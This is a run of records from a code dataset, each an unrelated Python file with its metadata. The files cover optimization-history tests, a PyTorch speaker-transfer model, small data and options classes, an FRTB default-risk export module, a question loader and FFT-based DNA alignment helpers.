compare_with[optimal_column]\n and dominate(\n compare_with[problem.objectives_slice],\n iteration[problem.objectives_slice],\n )\n ):\n self.__history[i][optimal_column] = False\n break\n\n def _after_solution(self, problem):\n self.__fill_feasible(problem)\n self.__fill_optimal(problem)\n dtype = []\n dtype.extend([(var[\"name\"], numpy.float64) for var in problem.variables])\n dtype.extend([(var[\"name\"], numpy.float64) for var in problem.objectives])\n dtype.extend([(var[\"name\"], numpy.float64) for var in problem.constraints])\n dtype.extend([(\"feasible\", numpy.bool), (\"optimal\", numpy.bool)])\n with file.File(self.__history_path, \"w\") as hf:\n hf.write(\n value=numpy.array([tuple(item) for item in self.__history], dtype=dtype)\n )\n return self.__history_path\n\n\nclass DSXTestUpdate(DSX):\n \"\"\"DSX with history update.\"\"\"\n\n def __init__(self, options, path):\n super(DSXTestUpdate, self).__init__(options)\n self.__history_path = os.path.join(path, \"history.p7data\")\n\n def _before_solution(self, problem):\n dtype = []\n dtype.extend([(var[\"name\"], \"f8\") for var in problem.variables])\n dtype.extend([(var[\"name\"], \"f8\") for var in problem.objectives])\n dtype.extend([(var[\"name\"], \"f8\") for var in problem.constraints])\n dtype.extend([(\"status\", \"i8\")])\n with file.File(self.__history_path, \"w\") as hf:\n hf.write(value=numpy.array([], dtype=dtype))\n\n def _after_iteration(self, problem, x, f, c):\n tolerance = self._options[\"Constraints tolerance\"]\n\n def invalid():\n return numpy.isnan(f).any() or numpy.isnan(c).any()\n\n def feasible():\n return (problem.constraints_lb * (1 - tolerance) <= c).all() and (\n c <= problem.constraints_ub * (1 + tolerance)\n ).all()\n\n def dominate(l1, l2):\n return (l1 <= l2).all() and (l1 < l2).any()\n\n def make_row(status):\n return x.tolist() + f.tolist() + c.tolist() + [status]\n\n with file.File(self.__history_path, \"w\") as hf:\n table = hf.get().data\n if invalid():\n table.append(make_row(3))\n else:\n if feasible():\n for i, row in enumerate(table):\n if row[0] == 0:\n objectives = list(row.data[problem.objectives_names][0])\n if dominate(f, objectives):\n # status column is the last one\n table[i, -1] = 1\n elif dominate(objectives, f):\n table.append(make_row(1))\n break\n else:\n table.append(make_row(0))\n else:\n table.append(make_row(2))\n\n def _after_solution(self, problem):\n return self.__history_path\n\n def __visualize_2d(self, problem):\n try:\n import matplotlib.pyplot as plt\n except ImportError:\n return\n fig = plt.figure(1)\n ax = fig.add_subplot(111)\n ax.grid(True)\n name1 = problem.objectives_names[0]\n name2 = problem.objectives_names[1]\n with file.File(self.__history_path, \"r\") as f:\n data = f[f.ids()[0]][0].data\n ax.plot(data[name1], data[name2], \"yo\", label=\"All points\")\n ax.plot(\n data[name1][data[\"status\"] < 2],\n data[name2][data[\"status\"] < 2],\n \"bo\",\n label=\"Feasible points\",\n )\n ax.plot(\n data[name1][data[\"status\"] == 0],\n data[name2][data[\"status\"] == 0],\n \"ro\",\n label=\"Pareto points\",\n )\n ax.set_xlabel(\"f1\")\n ax.set_ylabel(\"f2\")\n ax.legend(loc=\"best\")\n plt.show()\n\n\nclass DSXTestMask(DSX):\n \"\"\"DSX with masked table as output.\"\"\"\n\n def __init__(self, options, path):\n super(DSXTestMask, self).__init__(options)\n self.__history_path = os.path.join(path, \"history.p7data\")\n self.__dtype = None\n\n def _before_solution(self, problem):\n self.__dtype = []\n self.__dtype.extend([(var[\"name\"], \"f8\") for var in problem.variables])\n self.__dtype.extend([(var[\"name\"], \"f8\") for var in problem.objectives])\n self.__dtype.extend([(var[\"name\"], \"f8\") for var in problem.constraints])\n self.__dtype.extend([(\"status\", \"U10\")])\n properties = {\n \"@schema\": {\"@type\": \"Table\"},\n \"@columns\": {\n \"status\": {\n \"@schema\": {\n \"@type\": \"Enumeration\",\n \"@values\": [\"feasible\", \"infeasible\"],\n }\n }\n },\n }\n for var in problem.variables:\n properties[\"@columns\"][var[\"name\"]] = {\n \"@schema\": {\n \"@type\": \"Real\",\n \"@minimum\": var[\"lb\"],\n \"@maximum\": var[\"ub\"],\n }\n }\n with file.File(self.__history_path, \"w\") as hf:\n hf.write(value=numpy.array([], dtype=self.__dtype), properties=properties)\n\n def _after_iteration(self, problem, x, f, c):\n tolerance = self._options[\"Constraints tolerance\"]\n\n def feasible():\n return (problem.constraints_lb * (1 - tolerance) <= c).all() and (\n c <= problem.constraints_ub * (1 + tolerance)\n ).all()\n\n # at first, write objectives\n value_f = [\n tuple(\n x.tolist()\n + f.tolist()\n + [0.0 for _ in problem.constraints]\n + ([\"feasible\"] if feasible() else [\"infeasible\"])\n )\n ]\n mask_f = [\n tuple(\n [False for _ in problem.variables]\n + [False for _ in problem.objectives]\n + [True for _ in problem.constraints]\n + [False]\n )\n ]\n point_f = numpy.ma.array(value_f, dtype=self.__dtype, mask=mask_f)\n # then, write constraints\n value_c = [\n tuple(\n x.tolist()\n + [0.0 for _ in problem.objectives]\n + c.tolist()\n + ([\"feasible\"] if feasible() else [\"infeasible\"])\n )\n ]\n mask_c = [\n tuple(\n [False for _ in problem.variables]\n + [True for _ in problem.objectives]\n + [False for _ in problem.constraints]\n + [False]\n )\n ]\n point_c = numpy.ma.array(value_c, dtype=self.__dtype, mask=mask_c)\n with file.File(self.__history_path, \"w\") as hf:\n table = hf.get().data\n table.append(point_f)\n table.append(point_c)\n\n def _after_solution(self, problem):\n return self.__history_path\n\n\nclass TestDSX(BaseTestCase):\n \"\"\"Base test for DSX.\"\"\"\n\n def setUp(self):\n self.__dirname = tempfile.mkdtemp()\n self.__problem = Problem(\n [{\"name\": \"x0\", \"lb\": 0.1, \"ub\": 1}, {\"name\": \"x1\", \"lb\": 0, \"ub\": 0.5}],\n [{\"name\": \"f1\"}, {\"name\": \"f2\"}],\n [\n {\"name\": \"c1\", \"lb\": 0.0, \"ub\": float(\"Inf\")},\n {\"name\": \"c2\", \"lb\": 0.0, \"ub\": float(\"Inf\")},\n ],\n lambda x: numpy.array([x[0], (1 + x[1]) / x[0]]),\n lambda x: numpy.array([x[1] + 9 * x[0] - 6, -x[1] + 9 * x[0] - 1]),\n )\n self.__options = {\n \"Technique\": \"Random search\",\n \"Constraints tolerance\": 1e-5,\n \"Budget\": 100,\n \"Deterministic\": True,\n \"Seed\": 100,\n }\n\n def tearDown(self):\n shutil.rmtree(self.__dirname)\n\n def test_write(self):\n \"\"\"Write history table.\"\"\"\n\n dsx = DSXTestWrite(self.__options, self.__dirname)\n path = dsx.solve(self.__problem)\n history = file.File(path, \"r\").read()\n print(history)\n self.assertEmptyMask(history)\n\n def test_update(self):\n \"\"\"Update history with new run.\"\"\"\n\n dsx = DSXTestUpdate(self.__options, self.__dirname)\n path = dsx.solve(self.__problem)\n history = file.File(path, \"r\").read()\n print(history)\n self.assertEmptyMask(history)\n\n def test_mask(self):\n \"\"\"Test masked output.\"\"\"\n\n dsx = DSXTestMask(self.__options, self.__dirname)\n path = dsx.solve(self.__problem)\n history = file.File(path, \"r\").read()\n print(history)\n\n # copy history by columns for avoiding numpy future warnings\n dtype = [(name, numpy.bool_) for name in self.__problem.names]\n mask = numpy.zeros((len(history)), dtype=dtype)\n dtype = [(name, history.dtype[name]) for name in self.__problem.names]\n data = numpy.ma.masked_array(\n numpy.zeros((len(history)), dtype=dtype), mask=mask\n )\n for name in data.dtype.names:\n data[name] = history[name].copy()\n\n data = data.view(\"f8\").reshape(history.size, len(history.dtype) - 1)\n self.assertTrue(data[::2, self.__problem.constraints_slice].mask.all())\n self.assertFalse(data[::2, self.__problem.objectives_slice].mask.any())\n self.assertTrue(data[1::2, self.__problem.objectives_slice].mask.all())\n self.assertFalse(data[1::2, self.__problem.constraints_slice].mask.any())\n statuses = numpy.unique(history[\"status\"].data)\n self.assertCountEqual(statuses, [\"feasible\", \"infeasible\"])\n\n\nclass TestOptions(BaseTestCase):\n \"\"\"Test settings stored as p7 value.\"\"\"\n\n def setUp(self):\n self.__dirname = tempfile.mkdtemp()\n # @todo check several @schemas,\n # use Seed option (from numpy docs: can be an integer,\n # an array (or other sequence) of integers of any length)\n self.__options = [\n {\n \"@name\": \"Technique\",\n \"@schema\": {\n \"@type\": \"Enumeration\",\n \"@name\": \"Enumeration\",\n \"@nullable\": False,\n \"@init\": \"Random search\",\n \"@values\": [\"Random search\", \"Genetic\"],\n },\n },\n {\n \"@name\": \"Constraints tolerance\",\n \"@schema\": {\n \"@type\": \"Real\",\n \"@name\": \"Real\",\n \"@nullable\": False,\n \"@init\": 0.0,\n \"@minimum\": 0.0,\n \"@exclusive_minimum\": True,\n \"@exclusive_maximum\": True,\n \"@maximum\": 1.0,\n \"@nanable\": False,\n },\n },\n {\n \"@name\": \"Budget\",\n \"@schema\": {\n \"@type\": \"Integer\",\n \"@name\": \"Integer\",\n \"@nullable\": False,\n \"@minimum\": 1,\n \"@init\": 1000,\n },\n },\n {\n \"@name\": \"Deterministic\",\n \"@schema\": {\n \"@type\": \"Boolean\",\n \"@name\": \"Boolean\",\n \"@nullable\": False,\n \"@init\": False,\n },\n },\n {\n \"@name\": \"Seed\",\n \"@schema\": {\n \"@type\": \"Integer\",\n \"@name\": \"Integer\",\n \"@nullable\": False,\n \"@init\": 0,\n \"@minimum\": 0,\n \"@maximum\": 4294967295,\n },\n },\n ]\n\n def tearDown(self):\n shutil.rmtree(self.__dirname)\n\n def test_read(self):\n \"\"\"Read options.\"\"\"\n\n values = {\n \"Technique\": \"Random search\",\n \"Constraints tolerance\": 1e-5,\n \"Budget\": 10,\n \"Deterministic\": True,\n \"Seed\": 100,\n }\n # write options values and properties to file, all values are valid\n path = os.path.join(self.__dirname, \"options.p7data\")\n to_write = [\n {\"id\": uuid.uuid4(), \"value\": values[option[\"@name\"]], \"properties\": option}\n for option in self.__options\n ]\n of = file.File(path, \"w\")\n for args in to_write:\n of.write(**args)\n # read options\n id_to_name = {\n option[\"id\"]: option[\"properties\"][\"@name\"] for option in to_write\n }\n read_values = {}\n with of:\n for id in of.ids():\n read_values[id_to_name[id]] = of[id]\n # for a start, check that values are equal\n self.assertEqual(read_values, values)\n # @todo check read properties\n # @todo pass invalid arguments and check validation\n\n def _read_write_convert(self, values):\n path = os.path.join(self.__dirname, \"options.p7data\")\n to_write = [\n {\n \"id\": uuid.uuid4(),\n \"value\": values[option[\"@name\"]],\n \"name\": option[\"@name\"],\n }\n for option in self.__options\n ]\n of = file.File(path, \"w\")\n for args in to_write:\n of.write(args[\"id\"], args[\"value\"])\n id_to_name = {option[\"id\"]: option[\"name\"] for option in to_write}\n name_to_schema = {\n option[\"@name\"]: option[\"@schema\"] for option in self.__options\n }\n read_values = {}\n with of:\n for id, name in id_to_name.items():\n read_values[name] = convert(name_to_schema[name], of.read(id))\n return read_values\n\n def test_convert(self):\n \"\"\"Convert options.\"\"\"\n\n reference_values = {\n \"Technique\": \"Random search\",\n \"Constraints tolerance\": 1e-5,\n \"Budget\": 10,\n \"Deterministic\": True,\n \"Seed\": 100,\n }\n\n values = {\n \"Technique\": numpy.array([\"Random search\"]),\n \"Constraints tolerance\": numpy.array([[1e-5]]),\n \"Budget\": 10.0,\n \"Deterministic\": 1,\n \"Seed\": [100],\n }\n self.assertEqual(self._read_write_convert(values), reference_values)\n\n values = {\n \"Technique\": numpy.array([[\"Random search\"]]),\n \"Constraints tolerance\": [[1e-5]],\n \"Budget\": \"10\",\n \"Deterministic\": \"True\",\n \"Seed\": numpy.array([100]),\n }\n self.assertEqual(self._read_write_convert(values), reference_values)\n\n def test_properties(self):\n \"\"\"Write and read options.\"\"\"\n\n path = os.path.join(self.__dirname, \"test.p7data\")\n value = {\"mu\": 0.5, \"sigma\": 1}\n properties = {\n \"@schema\": {\n \"@type\": \"Structure\",\n \"@init\": [{\"key\": \"mu\", \"value\": 0.0}, {\"key\": \"sigma\", \"value\": 1.0}],\n \"@name\": \"Normal\",\n \"@nullable\": False,\n \"@schema\": {\n \"mu\": [\n {\n \"@type\": \"Real\",\n \"@name\": \"mu\",\n \"@nullable\": False,\n \"@init\": 0.0,\n }\n ],\n \"sigma\": [\n {\n \"@type\": \"Real\",\n \"@name\": \"sigma\",\n \"@nullable\": False,\n \"@init\": 1.0,\n \"@minimum\": 0.0,\n \"@exclusive_minimum\": True,\n }\n ],\n },\n }\n }\n file.File(path, \"w\").write(value=value, properties=properties)\n self.assertEqual(value, file.File(path, \"w\").read())\n with file.File(path, \"r\") as f:\n self.assertEqual(properties, f.get().properties)\n","sub_path":"typesystem/tests/test_usecases.py","file_name":"test_usecases.py","file_ext":"py","file_size_in_byte":21550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"374296116","text":"import torch\nfrom torch.nn import *\nfrom library import *\n\n\nclass LatentForgerModel(Module):\n def __init__(self):\n super(LatentForgerModel, self).__init__()\n\n self.layers = Sequential(\n Conv1d(1024 + 2 * 128, 1536, 3, padding=1),\n LeakyReLU(negative_slope=0.1),\n Conv1d(1536, 1536, 3, padding=1),\n LeakyReLU(negative_slope=0.1),\n Conv1d(1536, 1536, 3, padding=1),\n LeakyReLU(negative_slope=0.1),\n Transpose(1, 2),\n TupleSelector(GRU(\n 1536, 768, 2, bidirectional=True, batch_first=True), 0),\n Transpose(1, 2),\n Conv1d(1536, 1536, 3, padding=1),\n LeakyReLU(negative_slope=0.1),\n Conv1d(1536, 1536, 3, padding=1),\n LeakyReLU(negative_slope=0.1),\n Conv1d(1536, 1024, 3, padding=1),\n )\n\n def forward(self, orig_latent, orig_categ, forgery_categ):\n _, _, width = orig_latent.size()\n\n layer_input = torch.cat([\n orig_latent,\n orig_categ.unsqueeze(dim=2).expand(-1, -1, width),\n forgery_categ.unsqueeze(dim=2).expand(-1, -1, width)\n ], dim=1)\n\n return self.layers(layer_input)\n\n\nmodel = LatentForgerModel()\n","sub_path":"SpeakerTransfer/models/speaker_transfer_latent_forger.py","file_name":"speaker_transfer_latent_forger.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"459982967","text":"class Comment:\n\n def __init__(self, comment_id, question_id, answer_id, message, submission_time, edited_count):\n self.id = comment_id\n self.question_id = question_id\n self.answer_id = answer_id\n self.message = message\n self.submission_time = submission_time\n self.edited_count = edited_count\n\n @classmethod\n def from_tuple(cls, data):\n comment_id = data[0]\n question_id = data[1]\n answer_id = data[2]\n message = data[3]\n submission_time = data[4]\n edited_count = data[5]\n\n comment = cls(comment_id, question_id, answer_id, message, submission_time, edited_count)\n\n return comment\n","sub_path":"comment.py","file_name":"comment.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"497168603","text":"class RunTaskOptions(object):\n \"\"\"\n This class handles the options given when calling runTasks.py.\n It is a collection of the following data:\n - Maximum CPU Time available for each computation\n - Maximum Memory available for each computation\n - Maximum amount of computations that should be run in parallel.\n - Indicator, if runTask.py was called to finish an uncompleted job\n \n .. moduleauthor:: Albert Heinle \n \"\"\"\n \n def __init__(self, maxCPU=None, maxMem=None, maxJobs=1, resume=False):\n \"\"\"\n Constructor of RunTaskOptions. It can be called without any parameters; then we have:\n - No limit on CPU time resources\n - No limit on Memory resources.\n - Exactly one computation will be run at a time.\n - We are ot resuming any Task\n\n If any of the given numbers is less or equal to 0, a ValueError is raised.\n\n :param maxCPU: The maximum CPU time in seconds for the computations\n :type maxCPU: integer (>0)\n :param maxMem: The maximum memory (in bytes) that a computation is allowed to use.\n :type maxMem: integer (>0)\n :param maxJobs: The maximum amount of computations that shall be run in parallel.\n :type maxJobs: integer (>0)\n :param resume: Indicator if an uncompleted task is being resumed.\n :type resume: bool\n :raises ValueError: If any of the above parameters do not fit the required type,\n a ValueError is raised.\n \"\"\"\n if maxCPU != None:\n if int(maxCPU)<=0:\n raise ValueError(\"The maximum CPU time was not a positive integer\")\n self.__maxCPU = int(maxCPU)\n else:\n self.__maxCPU = None\n if maxMem != None:\n if int(maxMem)<=0:\n raise ValueError(\"The maximum memory limit was not a positive integer\")\n self.__maxMem = int(maxMem)\n else:\n self.__maxMem = None\n if int(maxJobs)<=0:\n raise ValueError(\"The maximum amount of jobs was not a positive integer\")\n self.__maxJobs = int(maxJobs)\n if type(resume)!=bool:\n raise ValueError(\"The flag whether we resume a task or not should be of boolean type\")\n self.__resume = resume\n\n\n def getMaxMem(self):\n \"\"\"\n Returns the maximum amount of memory each computation is allowed to use.\n\n :returns: The maximum amount of memory (in bytes) each computation is allowed to use.\n :rtype: integer\n \"\"\"\n return self.__maxMem\n\n def getMaxCPU(self):\n \"\"\"\n Returns the maximum amount of CPU time each computation is allowed to use.\n\n :returns: The maximum amount of CPU time (in seconds) each computation is allowed to use.\n :rtype: integer\n \"\"\"\n return self.__maxCPU\n\n def getMaxJobs(self):\n \"\"\"\n Returns the maximum amount of computations that can be run in parallel.\n\n :returns: The maximum amount of parallel computations.\n :rtype: integer\n \"\"\"\n return self.__maxJobs\n\n def getResume(self):\n \"\"\"\n Returns the flag if the task is being resumed or not.\n\n :returns: The flag if the task was stopped in between and is resumed.\n :rtype: bool\n \"\"\"\n return self.__resume\n\n def setResume(self, newValue):\n \"\"\"\n Set the flag if the task has been resumed to the provided new value.\n\n :param newValue: The new value for the `resume`-flag\n :type newValue: bool\n :raises TypeError: if input parameter was not boolean\n \"\"\"\n if type(newValue)!=bool:\n raise TypeError(\"Incorrect type for newValue\")\n self.__resume = newValue\n\n def __str__(self):\n \"\"\"\n Returns the string representation of the RunTaskOptions instance.\n It looks like the following::\n\n RunTask Options:\n * Maximum CPU time for each computation (in seconds): `maxCPU`\n * Maximum memory consumption for each computation: `maxMem`\n * Maximum amount of computations that can be run in parallel: `maxJobs`\n * Task has beein interrupted before and is now being resumed: `resume`\n\n If maxCPU or maxMem are not specified by the user, the function replaces maxCPU resp. maxMem\n above by the string \"N.A.\"\n \n :returns: String representation of the RunTaskOptions instance.\n :rtype: string\n \"\"\"\n result = \"\"\"RunTask Options:\n* Maximum CPU time for each computation (in seconds): %s\n* Maximum memory consumption for each computation (in Bytes): %s\n* Maximum amount of computations that can be run in parallel: %i\n* Task has been interrupted before and is now being resumed: %r\"\"\" % (\"N.A.\" if self.getMaxCPU()==None else str(self.getMaxCPU()),\n \"N.A.\" if self.getMaxMem()==None else str(self.getMaxMem()),\n self.getMaxJobs(),\n self.getResume())\n return result\n","sub_path":"Test/testGBEXPORTFOLDER/classes/RunTaskOptions.py","file_name":"RunTaskOptions.py","file_ext":"py","file_size_in_byte":5265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"289149324","text":"\"\"\" Compiled: 2020-09-18 10:38:52 \"\"\"\n\n#__src_file__ = \"extensions/frtb/./etc/FRTBSADRCExport.py\"\n\"\"\"----------------------------------------------------------------------------\nMODULE\n (c) Copyright 2017 FIS Front Arena. All rights reserved.\n\nDESCRIPTION\n----------------------------------------------------------------------------\"\"\"\nimport math\n\nimport acm\n\nimport FRTBExport\nimport FRTBBaseWriter\nimport FRTBCommon\n\n# Writers\nclass DRCResultsCollector(FRTBBaseWriter.ResultsCollector):\n _PARTITIONED_COLUMN_IDS = (\n FRTBCommon.SA_DRC_MARKET_VALUE_COLUMN_ID,\n FRTBCommon.SA_DRC_NOTIONAL_COLUMN_ID\n )\n COLUMN_IDS = (\n FRTBCommon.SA_DRC_SCALING_COLUMN_ID,\n FRTBCommon.SA_DRC_MATURITY_COLUMN_ID,\n FRTBCommon.SA_DRC_IS_LONG_EXPOSURE_COLUMN_ID\n ) + _PARTITIONED_COLUMN_IDS\n\n def getOrderedDimensions(self, column_id, dimensions):\n return tuple(str(v) for v in dimensions)\n\n def getData(self):\n data = {}\n for pos_key, pos_key_dict in self._result_dictionary.iteritems():\n trade_attrs = self.getTradeAttributes(pos_key)\n ref_result = pos_key_dict.get(FRTBCommon.SA_DRC_MARKET_VALUE_COLUMN_ID)\n if not ref_result:\n ref_result = pos_key_dict.get(FRTBCommon.SA_DRC_NOTIONAL_COLUMN_ID)\n\n if not ref_result:\n continue\n \n if not pos_key_dict.has_key(FRTBCommon.SA_DRC_NOTIONAL_COLUMN_ID):\n continue\n \n if not pos_key_dict.has_key(FRTBCommon.SA_DRC_MARKET_VALUE_COLUMN_ID):\n continue\n\n for key in ref_result.iterkeys():\n notional = 0.0\n marketValue = 0.0\n if pos_key_dict.get(FRTBCommon.SA_DRC_NOTIONAL_COLUMN_ID).has_key(key):\n notional = pos_key_dict[FRTBCommon.SA_DRC_NOTIONAL_COLUMN_ID][key]\n else:\n continue\n \n if pos_key_dict.get(FRTBCommon.SA_DRC_MARKET_VALUE_COLUMN_ID).has_key(key):\n marketValue = pos_key_dict[FRTBCommon.SA_DRC_MARKET_VALUE_COLUMN_ID][key]\n else:\n continue\n \n seniority, issuer, issuerType, creditQuality = key\n data_key = (trade_attrs, (issuer, seniority, issuerType, creditQuality))\n data_by_trade = data.setdefault(data_key, {})\n data_by_trade[FRTBCommon.SA_DRC_NOTIONAL_COLUMN_ID] = notional\n data_by_trade[FRTBCommon.SA_DRC_MARKET_VALUE_COLUMN_ID] = marketValue\n for column_id, result in pos_key_dict.iteritems():\n if column_id not in self._PARTITIONED_COLUMN_IDS:\n if isinstance(result, dict):\n if len(result) == 0:\n result = None\n elif len(result) == 1:\n result = result[column_id]\n\n data_by_trade[column_id] = result\n ref_result.clear()\n pos_key_dict.clear()\n pos_key_dict = None\n self._result_dictionary.clear()\n self._result_dictionary = None\n return data\n\nclass DRCWriter(FRTBBaseWriter.Writer):\n _ADDITIONAL_TRADE_ATTRS = (\n 'Issuer', 'Seniority', 'Issuer Type', 'Credit Quality', 'Direction', # acquired from calc\n 'Securitisation', 'Include in DRC' # requires handling\n )\n\n # header is a list of the risk factors and also the trade attributes\n # all the properties that need to be partitionable\n def _createHeader(self):\n #Trade.Reference,Trade.Region,Trade.Area,Trade.Desk,Trade.Product Type,\n header = self._getDefaultTradeHeader()\n for name in DRCWriter._ADDITIONAL_TRADE_ATTRS:\n name = 'Trade.' + name\n if name not in header:\n header.append(name)\n\n header.append('Measures.JTD Scaling')\n header.append('Remaining Maturity')\n header.append('Bond Equivalent MV')\n header.append('Bond Equivalent Notional')\n return header\n\n def _getRows(self, header):\n rows = []\n trade_attrs_header = header[:-4]\n required = self.COLUMN_IDS[-2:]\n for trade_attrs, results in self._results.iteritems():\n if any((k not in results) for k in required):\n continue\n\n if all(not results[k].Number() for k in required):\n continue\n \n trade_attrs, extra_trade_attrs = trade_attrs\n trade_attrs = self._getDefaultTradeAttributes(trade_attrs=trade_attrs)\n trade_attrs.extend(\n ['' for _ in range(len(trade_attrs_header) - len(trade_attrs))]\n )\n measures = []\n for key in self.COLUMN_IDS:\n result = results[key]\n if key == FRTBCommon.SA_DRC_IS_LONG_EXPOSURE_COLUMN_ID:\n extra_trade_attrs += ('Long' if result else 'Short',)\n elif isinstance(result, float):\n measures.append('' if math.isnan(result) else result)\n elif result is None:\n measures.append('')\n else:\n measures.append(float( result ))\n\n known_attrs = set()\n for i, value in enumerate(extra_trade_attrs):\n attr = DRCWriter._ADDITIONAL_TRADE_ATTRS[i]\n known_attrs.add(attr)\n idx = trade_attrs_header.index('Trade.' + attr)\n trade_attrs[idx] = value\n\n for attr in DRCWriter._ADDITIONAL_TRADE_ATTRS:\n if attr not in known_attrs:\n idx = trade_attrs_header.index('Trade.' + attr)\n value = trade_attrs[idx]\n # this are dummy values to ensure the upload works\n # this is to be removed and instead a validation step\n # is to be introduced to ensure fields are AA upload compliant\n if not value:\n if attr == 'Securitisation':\n value = 'Non-securitised'\n elif attr == 'Credit Quality':\n value = 'AAA'\n elif attr == 'Include in DRC':\n value = 'Include'\n else:\n value = 'None'\n\n trade_attrs[idx] = value\n\n rows.append(trade_attrs + list(map(str, measures)))\n\n return rows\n\n# Exporter\nclass DRCExport(FRTBExport.Export):\n RESULTS_COLLECTOR_CLASS = DRCResultsCollector\n WRITER_CLASSES = (DRCWriter,)\n\n def makeColumns(self, parameters):\n columns = super(DRCExport, self).makeColumns(parameters=parameters)\n for column_name in self.RESULTS_COLLECTOR_CLASS.COLUMN_IDS:\n if column_name == FRTBCommon.SA_DRC_NOTIONAL_COLUMN_ID or \\\n column_name == FRTBCommon.SA_DRC_MARKET_VALUE_COLUMN_ID:\n column_parameters = {\n acm.FSymbol('hierarchy'): str(parameters['hierarchy'].Name()).strip()\n }\n config = self.makeDynamicColumnConfig(\n column_id='FRTB DRC Dimensions',\n params=column_parameters\n )\n columns.append(self.makeColumn(\n column_id=column_name, config=config\n ))\n else:\n columns.append(self.makeColumn(column_id=column_name))\n\n return columns\n\n","sub_path":"Extensions/FRTB Export/FPythonCode/FRTBSADRCExport.py","file_name":"FRTBSADRCExport.py","file_ext":"py","file_size_in_byte":7615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"463294641","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport json\n\nfrom itertools import chain\nfrom vocab import tokenize, load_vocabs, UNK, OPTION, CHECK_A, CHECK_B, CHECK_C, CHECK_D, CHECK_E, START_R\n\n\n# In[2]:\n\n\ntok2id, id2tok = load_vocabs()\nVOCAB_SIZE = len(tok2id)\n\n\n# In[3]:\n\n\ndef load_questions(path):\n check2tok = {'A': CHECK_A, 'B': CHECK_B, 'C': CHECK_C, 'D': CHECK_D, 'E': CHECK_E}\n id_seq = lambda tokens: [tok2id[tok] for tok in tokens]\n with open(path, 'rb') as f:\n dataset = []\n for line in f:\n item = json.loads(line.decode('utf-8'))\n input_tokens = chain(tokenize(item['question']), *chain(chain([OPTION], tokenize(option)) for option in item['options']))\n output_tokens = chain([START_R], tokenize(item['rationale']), [check2tok[item['correct']]])\n dataset.append((id_seq(input_tokens), id_seq(output_tokens)))\n return dataset\n\n","sub_path":"baseline_load_data.py","file_name":"baseline_load_data.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"581361766","text":"import numpy\nimport pyfftw\nimport math\nimport matplotlib.pyplot as plt\n\n#this lists a series of tools for performing gapless alignment using FFT\n\n#function for converting sequence into complex number. default value is 1.\ndef seq_convert(sequence,method=1,n=0):\n\tsequence = sequence.lower();\n\tseqLen = len(sequence)\n\tif n==0:\n\t\tvecLen = seqLen\n\telse:\n\t\tvecLen=n\n\t\t\n\tif method == 1:\t\t\n\t\tintSeq = pyfftw.n_byte_align_empty(vecLen, 1, 'complex')\n\t\t#intSeq = numpy.empty(seqLen,complex);\n\t\tfor i in range(seqLen):\n\t\t\tif i fourier series representing query DNA sequence\n\t#input 2=> fourier series representing germline DNA sequence\n\t#input 3=> required fft plan for finding transform\n\t#input 4=> required varaible name needed for computing inverse (this is what we will invert)\ndef return_cross_corr(complex_query,complex_target,fftPlan,inverseVariable):\n\n\tcross_corr_real = pyfftw.n_byte_align_empty(len(complex_query),1, 'complex')\n\t#find complex conjugate of germline\t\t\n\ttarget_conj = numpy.conjugate(complex_target)\t\t\t\n\t#perform corss correlation\n\tinverseVariable[:] = complex_query*target_conj\t\t\t\t\n\t#take inverse\t\n\tcross_corr_real[:] = fftPlan()\t\t\n\n\tcross_corr_real = numpy.round(numpy.real(cross_corr_real))\n\tmax_val = numpy.amax(cross_corr_real) # find max hit\n\tpos_val = numpy.argwhere(cross_corr_real==max_val) # find where hits occur\t\n\treturn max_val,pos_val,cross_corr_real # return the max valu,e the the max positions, the the vector of alignments\n\n#s complex series representing DNA\ndef convert_complex_four(s,fftPlan,inverseVariable):\n\t#if n is smaller than length of array s, array is cropped\n\t#if n is larger than lengnth of array s, then array is padded with 0\t\n\tinverseVariable[:] = s\n\tfour_series = fftPlan()\t\t\n\treturn four_series\n####################################################\n\n\n#####PUBLIC FUNCTIONS: USE THESE FUNCTIONS IN OTHER SCRIPTS THAT WANT TO TAKE ADVANTAGE OF THIS GROUP OF FUNCTIONS########\n#general method to convert a DNA sequence into Fourier series\ndef seq_to_four(seq1,fftPlan,inverseVariable,method=1,n=0):\n\tif n == 0:\n\t\tn = len(seq1)\n\n\tsF1 = pyfftw.n_byte_align_empty(n,1,'complex') #create an empty vector\n\ts1 = seq_convert(seq1,method,n);\t\t\t\n\tsF1[:] = convert_complex_four(s1,fftPlan,inverseVariable);\n\treturn sF1\n\n#returns a list of sequences into a list of fourier/complex series\n#this is usuefull for database of sequences\ndef seqDatab_to_four(seqList,fftPlan,inverseVariable,method=1,n=0):\t\t\n\tfour_seq_datab = [];\t\t\n\tfor i in range(len(seqList)):\n\t\tif n==0:\n\t\t\tfour_seq_datab.append(pyfftw.n_byte_align_empty(len(seqList[i]),1,'complex'));\n\t\telse:\n\t\t\tfour_seq_datab.append(pyfftw.n_byte_align_empty(n,1,'complex'));\t\t\t\t\t\n\t\tfour_seq_datab[i][:] = seq_to_four(seqList[i],fftPlan,inverseVariable,method,n)\n\treturn four_seq_datab\n\t\n#use this function to just align two sequences together\n#seq1 = input DNA sequence one\n#seq2 = input DNA sequence two\n#method for converting dna to integer\n#this will not take advantage of speed because it makes a planner each time \ndef pair_align_fft(seq1,seq2,method=1):\n\tmyLen = len(seq1)+len(seq2)\n\t\n\t#lets make a planner\n\t[g,fwdPlan] = createFFTplan(myLen)\n\t[gR,revPlan] = createInvPlan(myLen)\t\n\t\n\t#convert both seqs to fourier\t\n\tsF1 = seq_to_four(seq1,fwdPlan,g,1,myLen);# convert_complex_four(s1,fwdPlan,g);\n\tsF2 = seq_to_four(seq2,fwdPlan,g,1,myLen);#convert_complex_four(s2,fwdPlan,g);\n\t\n\t#align sequences and get result\n\t[max_val,max_pos,algn] = return_cross_corr(sF1,sF2,revPlan,gR);#,cross_corr_result);\n\treturn 